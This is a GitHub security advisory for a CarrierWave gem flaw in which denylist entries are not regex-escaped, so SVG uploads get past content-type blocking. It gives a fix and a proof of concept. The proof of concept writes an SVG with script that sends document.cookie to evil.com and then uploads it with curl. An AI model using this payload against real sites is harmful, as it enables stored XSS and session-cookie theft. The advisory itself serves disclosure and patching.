GitHub Advisoryadvisory · RubyGems

GHSA-7g26-2qgj-chfg CarrierWave has a denylisted_content_type bypass via Unescaped Regex Metacharacters

MEDIUM Published 2026-05-27 Modified 2026-07-08 Official page ↗
Aliases
CVE-2026-44587
Ecosystem
RubyGems
Packages
carrierwave
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N
Weaknesses
CWE-116, CWE-79
Reviewed
2026-05-27

Affected packages

• RubyGems carrierwave: >= 3.0.0.beta, < 3.1.3 → fixed in 3.1.3 • RubyGems carrierwave: < 2.2.7 → fixed in 2.2.7

Description

Summary CarrierWave's content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block. Note: CarrierWave is aware `#content_type_denylist is deprecated for the security reason`, but it still used by developers, and the problem here isn't denylist allows any filetype, and thats not a vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without `Regexp.quote` or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else. Details In `lib/carrierwave/uploader/content_type_denylist.rb:57`, string denylist entries are interpolated directly into a regex without `Regexp.quote` or anchoring: ```ruby def denylisted_content_type?(denylist, content_type) Array(denylist).any? { |item| content_type =~ /#{item}/ } end The entry "image/svg+xml" becomes the regex /image\/svg+xml/ where + is a quantifier meaning "one or more g", not a literal +. This regex never matches the real MIME type "image/svg+xml" which contains a literal +. This is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \A anchor: rubydef allowlisted_content_type?(allowlist, content_type) Array(allowlist).any? do |item| item = Regexp.quote(item) if item.class != Regexp content_type =~ /\A#{item}/ end end ``` Other affected MIME types include `application/xhtml+xml` and any type containing regex metacharacters. Fix: Apply Regexp.quote for string entries and anchor with \A, matching the existing allowlist implementation: ``` rubydef denylisted_content_type?(denylist, content_type) Array(denylist).any? do |item| item = Regexp.quote(item) if item.class != Regexp content_type =~ /\A#{item}/ end end ``` PoC ``` app.rb require "sinatra" require "carrierwave" require "fileutils" FileUtils.mkdir_p("uploads/files") CarrierWave.configure do |config| config.root = File.expand_path("uploads") config.store_dir = "files" end class VaultUploader e { result: "blocked", message: e.message }.to_json end end ``` ``` bundle exec ruby app.rb & echo 'document.location="https://evil.com/?c="+document.cookie' > xss.svg curl -X POST http://localhost:4567/upload \ -F "[email protected];type=image/svg+xml" ``` Expected response (denylist working): ``` json{ "result": "blocked", "message": "..." } ``` Actual response: ``` json{ "result": "VULNERABLE", "message": "SVG bypassed denylist", "path": "..." } ``` Impact Any application that uses content_type_denylist to block image/svg+xml — the most common use case, specifically to prevent stored XSS — is silently unprotected. An attacker can upload an SVG file containing arbitrary

Related

Alias · CVE (1)

  • CVE-2026-44587 CarrierWave is a framework to upload files from Ruby applications. vulnerability

Weakness · CWE (2)

  • CWE-116 Improper Encoding or Escaping of Output weakness
  • CWE-79 Improper Neutralization of Input During Web Page Generation weakness

References